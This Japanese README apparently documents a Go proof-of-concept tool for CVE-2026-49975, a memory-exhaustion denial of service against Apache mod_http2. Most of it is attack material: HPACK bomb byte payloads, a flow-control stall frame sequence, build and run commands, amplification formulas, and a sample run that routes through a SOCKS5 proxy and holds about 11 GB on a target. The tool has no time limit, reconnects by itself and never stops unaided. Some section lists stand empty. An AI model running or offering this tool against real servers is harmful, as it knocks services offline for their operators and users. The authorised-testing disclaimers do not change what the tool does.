
Apache mod_http2 における CVE-2026-49975 のセキュリティ研究 PoC: HTTP/2 HPACK 圧縮爆弾 + フロー制御ホールド DoS
⚠️ これは動作するメモリ枯渇型DoSツールであり、おもちゃではありません。 標的に対してメモリを割り当てさせ、HTTP/2のフロー制御トリックでストリームを開いたまま保持します。プロセスが実行されている限り、保持を続け、サーバーが接続を切断した場合は自動的に再接続します — 自力では停止しません。影響は
--threads、--streams、--headersに直接比例して拡大します。プロセスを停止する(Ctrl+C)と保持中のストリームが解放され、サーバーは回復しますが、デフォルトの動作に「穏やかな」要素は一切ありません — すべての実行を実弾テストとして扱ってください。
CVE-2026-49975(「HTTP/2 Bomb」)は、Apache HTTP Serverの mod_http2 モジュールに影響を与える、リモートかつ未認証のサービス拒否(DoS)脆弱性です。これは古くから知られる2つのHTTP/2の弱点を連鎖させたものです:
Cookie ヘッダーフラグメントを LimitRequestFields にカウントされることなくマージさせ、サーバーに内部ヘッダー帳簿構造のためのメモリ割り当てを繰り返し強制します。結果として、控えめな回線上の単一クライアントが、ストリームが開かれている限り、標的に対して多大かつ持続的なメモリ割り当てを強制できます。この実装は2つのペイロードモードをサポートし、設定した並行数に比例して線形に拡大します:
nginx モード — HPACK動的テーブルに空の x-bomb ヘッダーを植え付け、繰り返し再参照します(参照あたり約70:1の増幅)。classic モード — 代わりに過大な cookie ヘッダーを植え付けます(参照あたり約4000:1の増幅)。各接続は、ストリームあたり数千回(--headers、デフォルト5000)、接続あたり複数のストリーム(--streams、デフォルト10)、複数の並列接続(--threads、デフォルト1)にわたって植え付けたヘッダーを再参照します。サーバーが接続を閉じた場合、ツールは即座に再接続して継続し、手動で停止するまで続きます — これは単発のプローブではなく、継続的な保持ループです。
他の影響を受けるスタックの関連識別子(このリポジトリでは実装もテストもしていません):
CVE-2026-47774完全性のため、根底にある弱点クラスの全範囲 — 「HTTP/2 Bomb」技法(HPACK圧縮爆弾 + フロー制御ホールド)は、Apache以外の複数のサーバー実装にも影響します。このリポジトリはApacheのケースのみを実装・テストしています。残りは読者がより広いクラスを理解できるように記載しているのであり、このPoCがそれらを実証しているからではありません:
| 実装 | ステータス | このPoCで実装済みか? |
|---|---|---|
Apache HTTP Server mod_http2 | httpd 2.4.68(2026-06-08)で修正済み | はい — このリポジトリ |
| nginx | 1.29.8で修正済み | いいえ |
| Envoy | 別途追跡 | いいえ |
| Microsoft IIS | 別途追跡 | いいえ |
| Cloudflare Pingora | 別途追跡 | いいえ |
| CVE | CVE-2026-49975 |
| CWE | CWE-789(過大なサイズ値によるメモリ割り当て、NVD/CVE.orgによる);一部ベンダーではCWE-409(高度に圧縮されたデータの不適切な処理)としても追跡 |
| CVSS | 7.5(High) — CVSS v3.1、可用性のみのベクター(NVDによる)。Apache自身のアドバイザリではModerateと評価。 |
| 影響を受けるコンポーネント | Apache HTTP Server mod_http2 |
| 脆弱なバージョン | Apache httpd 2.4.17 ≤ バージョン ≤ 2.4.67(デフォルトHTTP/2設定) |
| 修正済み | Apache HTTP Server 2.4.68(2026-06-08リリース)。根本的な修正は2026-05-27に上流の mod_h2 に着地し、2026-06-02にhttpd 2.4.xブランチにマージされ、2.4.68リリースで出荷されました。 |
| 攻撃タイプ | サービス拒否 — メモリ枯渇(可用性のみ) |
| 認証が必要 | いいえ |
| データ露出 / RCE | なし — これは可用性への影響のみです |
| 既知の悪用 | 追跡ソースにより、現時点で既知の野生での悪用としてフラグ付けされていません。 |
参考資料(一次情報源 — すべての主張を独立に検証してください):
このリポジトリに含まれるもの:
このリポジトリに含まれないもの:
何よりも先にこれを読んでください。
このリポジトリ内のコードをダウンロード、クローン、または実行することにより、適切な許可を確保する責任はあなたのみにあり、その使用に対する完全な法的責任を負うことに同意するものとします。
CVE-2026-49975 は、セクション1の両方の基準を満たす標的にのみ適用されます — HTTP/2で到達可能かつ範囲内の脆弱な mod_http2 バージョン(2.4.17 ≤ バージョン ≤ 2.4.67、デフォルト設定)を実行していること。標的のHTTPSポートに対する単純な curl -vkI で両方を確認できます — スキャナーや追加フラグは不要です:
curl -vkI https://<target>
出力で確認すべき点:
ALPN: server accepted h2 — サーバーがこの接続でHTTP/2をネゴシエートしました。これはCVE-2026-49975の前提条件です。バグは mod_http2 に存在するため、ここでh2を受け入れなかったサーバーは候補ではありません。Server レスポンスヘッダー(HEADレスポンスヘッダーが出力された後に表示、-v 出力のさらに下) — これが実際のApache/mod_http2 バージョンをセクション1の脆弱な範囲に対して確認または除外するものです。ALPNの受け入れだけではバージョンを確認できません — それには依然として Server ヘッダーまたは同等のバナーチェックが必要です。このリポジトリの偵察ではこれ以上のものは使用されません — 能動的な悪用トラフィック、脆弱性スキャナー、ポートスイープはありません。
cve202649975)golang.org/x/net v0.59.0(go build により自動的に解決)443、デフォルトでTLS/h2、平文h2cには --no-ssl)での許可された標的への直接TCP到達性proxychains4 の下で起動された場合、LD_PRELOAD ラッパーを検出し、同じ proxychains4.conf を読み取り、自身の接続をそのSOCKS5プロキシ経由でルーティングします(リモートDNS解決) — エンゲージメントのスコープが特定の出口パスからのテストを要求する場合に有用CVE-2026-49975自体の公開タイムライン:2026-05-26にApacheへ報告;修正は2026-05-27に上流の
mod_h2に着地;2026-06-02にhttpd 2.4.xブランチにマージ;Apache HTTP Server 2.4.68が2026-06-08にリリース。
明示的にテストを許可されている標的にのみ実行してください。組み込みの期間制限やセーフモードはありません — 実行時間と並行数についてはあなたが責任を負います。
ビルド:
go build -o dos ./cmd
# or: sudo install -m 0755 dos /usr/local/bin/dos (see build.sh)
実行:
./dos <target> <port> [flags]
| フラグ | デフォルト | 説明 |
|---|---|---|
--threads N | 1 | 並列接続数 |
--streams N | 10 | 接続あたりに開かれるストリーム数 |
--headers N | 5000 | ストリームあたりのHPACK動的テーブル参照数(増幅ドライバー) |
--mode nginx|classic | nginx | nginx = 空ヘッダー帳簿爆弾(約70:1);classic = 太ったCookie爆弾(約4000:1、このCVEが追跡されるApache mod_http2 のCookieマージ機構に一致) |
--no-ssl | off | TLSの代わりに平文h2cを使用 |
例、最小限の許可されたラボテスト:
./dos lab-target.internal 443 --threads 1 --streams 5 --headers 1000 --mode nginx
予想される動作:
WINDOW_UPDATE ドリップと定期的なpingでストリームを開いたまま保持します;サーバーが接続を閉じた場合、自動的に再接続して繰り返します。Ctrl+C / SIGTERM を送信したときにのみ停止します — それに応じてテストウィンドウを計画し、標的のメモリをリアルタイムで監視してください。--streams/--headers でステージング/ラボ環境に対して検証し、いずれにせよ標的サービスのロールバック/再起動計画を準備してください。このツールの2つのモードのサーバー側メモリの概算式(Apache mod_http2 のみ — nginx/classic が増幅率にどう対応するかはセクション1を参照):
total_streams = threads × streams
server_ram_MB ≈ total_streams × headers × amplification_bytes / 1024²
# nginx mode (~70 bytes/ref), defaults (threads=1, streams=10, headers=5000):
# 1 × 10 × 5000 × 70 / 1024² ≈ 3.3 MB held
# classic mode (~4000 bytes/ref), defaults:
# 1 × 10 × 5000 × 4000 / 1024² ≈ 190 MB held
threads/streams/headers を増やせば数値は線形に増加します — これが、本番スコープの実行前に許可されたラボテストを低く始めるべき理由です(セクション7を参照)。
これは、この特定のPoCがApache mod_http2 に対して実装する機構を文書化したものです — 他のサーバー実装には拡張されません。それらはこのリポジトリの範囲外です(セクション2を参照)。
HPACK動的テーブルシード(インクリメンタルインデックス、インデックス62にエントリを追加):
0x40 | name_len | name | value_len | value
= 0x40 0x06 "x-bomb" 0x00 (nginx-mode seed: empty value)
そのエントリへのインデックス参照(各1バイト、--headers 回繰り返し):
0x80 | 62 = 0xbe
接続あたりのHTTP/2フレームシーケンス:
Client → Server:
PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n (connection preface)
SETTINGS [INITIAL_WINDOW_SIZE=0] (flow-control stall setup)
SETTINGS ACK (after reading server SETTINGS)
HEADERS [stream 1] ← HPACK bomb payload
HEADERS [stream 3] ← HPACK bomb payload
... (up to --streams per connection)
WINDOW_UPDATE(1) per stream, periodically (keeps the stall alive)
ワイヤコストは小さく、ストリームあたりほぼ固定です(シードに数バイト + 参照あたり1バイト);サーバー側の割り当てが不釣り合いに増大するものです — そのギャップが脆弱性です。
許可されたラボ実行の出力、classic モード、20接続 × 30ストリーム/接続、5000 HPACK参照/ストリーム、proxychains経由でルーティング:
proxychains4 dos domain.com 443 --mode classic --threads 20 --streams 30 --headers 5000
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
██╗ ██╗██████╗ ██████╗ ██████╗ ███╗ ███╗██████╗
██║ ██║╚════██╗ ██╔══██╗██╔═══██╗████╗ ████║██╔══██╗
███████║ █████╔╝ ██████╔╝██║ ██║██╔████╔██║██████╔╝
██╔══██║██╔═══╝ ██╔══██╗██║ ██║██║╚██╔╝██║██╔══██╗
██║ ██║███████╗ ██████╔╝╚██████╔╝██║ ╚═╝ ██║██████╔╝
╚═╝ ╚═╝╚══════╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚═════╝
CVE-2026-49975 — HTTP/2 Bomb PoC (HPACK bomb + flow-control hold)
Go PoC by naheeju · originally discovered by Calif.IO · authorized testing only
──────────────────────────────────────────────────────────────────
Run configuration
Target domain.com:443
Mode classic (~4000:1 amplification)
Connections 20
Streams/conn 30
Total streams 600
HPACK refs/str 5000
Est. server RAM ~11444 MB
Proxychains yes — SOCKS5 127.0.0.1:9050 (remote DNS, no leak)
──────────────────────────────────────────────────────────────────
[~] Opening connection #1...
...
[+] 30 streams open | ~572 MB pinned on server | holding...
[+] 30 streams open | ~572 MB pinned on server | holding...
... (one line per connection as it finishes opening its 30 streams)
各接続は、ストリームを開く際に自身のローカルRAM寄与を独立して報告します(これらの設定で接続あたり約572 MB);プリフライトの Est. server RAM 数値は、すべての接続が完全に開いて保持された時点での全20接続の集計です(約11.4 GB)。
上記の
domain.comはプレースホルダーです — 自身の実行を文書化する際は、実際の許可された標的に置き換え、エンゲージメントが機密である場合は伏せてください。
LimitRequestFields を保守的に設定し、ヘッダーマージ動作を監視します。元の脆弱性の発見とApacheへの開示(このリポジトリやその著者とは無関係):
このリポジトリ(Go再実装、公開修正が着地した後に作成・テスト):
この特定のPoCに関する質問、訂正、または責任ある開示に関連する懸念:このリポジトリでissueを開いてください。
ライセンス: MIT(このリポジトリのコードのみ — LICENSE を参照)。元の発見者やApache Software Foundationには拡張されず、それらによる承認を暗示するものでもありません。